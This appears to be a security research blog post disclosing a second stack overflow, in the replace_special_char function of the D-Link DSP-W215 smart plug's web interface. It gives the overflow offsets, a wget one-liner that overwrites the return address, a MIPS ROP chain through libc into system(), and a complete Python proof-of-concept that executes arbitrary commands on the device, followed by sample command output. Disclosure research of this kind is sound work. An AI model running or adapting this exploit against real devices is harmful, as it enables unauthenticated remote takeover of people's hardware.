Here we go again…again.
In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:
The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:
The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:
To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:
And loops through post_value_length bytes:
On each loop iteration, it stores one byte (either the URL decoded byte, or if URL decoding was not necessary, the original byte from the POST value data) into the local stack variable decode_buf:
Essentially, it’s doing this:
void replace_special_char(char *post_data) { char decode_buf[0x258]; int post_value_length, i = 0, j = 0; memset(decode_buf, 0, sizeof(decode_buf)); post_value_length = strlen(post_data); while(i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; }
Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:
# Overflow $ra with 0x42424242 wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.
At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:
If during the stack overflow we overwrite $s1 with the address of offset 0×34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:
As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:
system($sp+0xB8);
After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:
#!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "foo=" # POST parameter name can be anything buf += "E" * 612 # Stack filler buf += "\x2A\xBA\xCC\x80" # $s0, address of system() buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2 buf += "F" * 4 # $s2, don't care buf += "F" * 4 # $s3, don't care buf += "F" * 4 # $s4, don't care buf += "F" * 4 # $s5, don't care buf += "F" * 4 # $s6, don't care buf += "F" * 4 # $s7, don't care buf += "F" * 4 # $fp, don't care buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1 buf += "G" * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
And, as before, we can execute any command, and get the output as well:
$ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www